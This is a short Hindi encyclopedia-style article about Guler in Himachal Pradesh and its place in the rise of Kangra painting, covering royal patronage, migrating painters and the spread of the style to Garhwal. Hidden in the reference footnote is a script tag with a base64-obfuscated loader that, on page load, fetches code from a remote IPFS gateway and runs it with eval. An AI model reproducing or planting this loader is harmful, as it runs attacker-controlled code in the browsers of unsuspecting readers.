गुलेर

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गुलेर कांगड़ा, हिमाचल प्रदेश में स्थित है। कांगड़ा स्कूल की चित्रकला में गुलेर का विशेष महत्व है। वास्तव में इस शैली का जन्म 18वीं शती में गुलेर तथा निकटवर्ती स्थानों मं हुआ था।[1]

  • बसौली के प्रसिद्ध चित्रकला-प्रेमी नरेश कृपालसिंह की मृत्यु के पश्चात् उनके दरबार के अनेक कलावंत अन्य स्थानों में चले गये थे।
  • गुलेर में कृपालसिंह के समान ही राजा गोवर्धनसिंह ने अनेक चित्रकारों को प्रश्रय तथा प्रोत्साहन दिया।
  • बसौली शैली की परुषता गुलेर में पहुँचकर कोमल हो गई और कांगड़ा शैली के विशिष्ट गुण, मृदुसौन्दर्य का धीरे-धीरे गुलेर के वातावरण में विकास होने लगा, किन्तु अब भी रंगों की चमक-दमक पर कलाकार अधिक ध्यान देते थे। किन्तु इस शैली का पूर्ण विकास गुलेर के मुग़ल चित्रकारों ने किया, जो इस नगर में दिल्ली से नादिरशाह के आक्रमण (1739) के पश्चात् आकर बस गए थे।
  • गुलेर की एक राजकुमारी का विवाह गढ़वाल में होने के कारण कांगड़ा शैली की चित्रकला गढ़वाल भी जा पहुँची।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 294 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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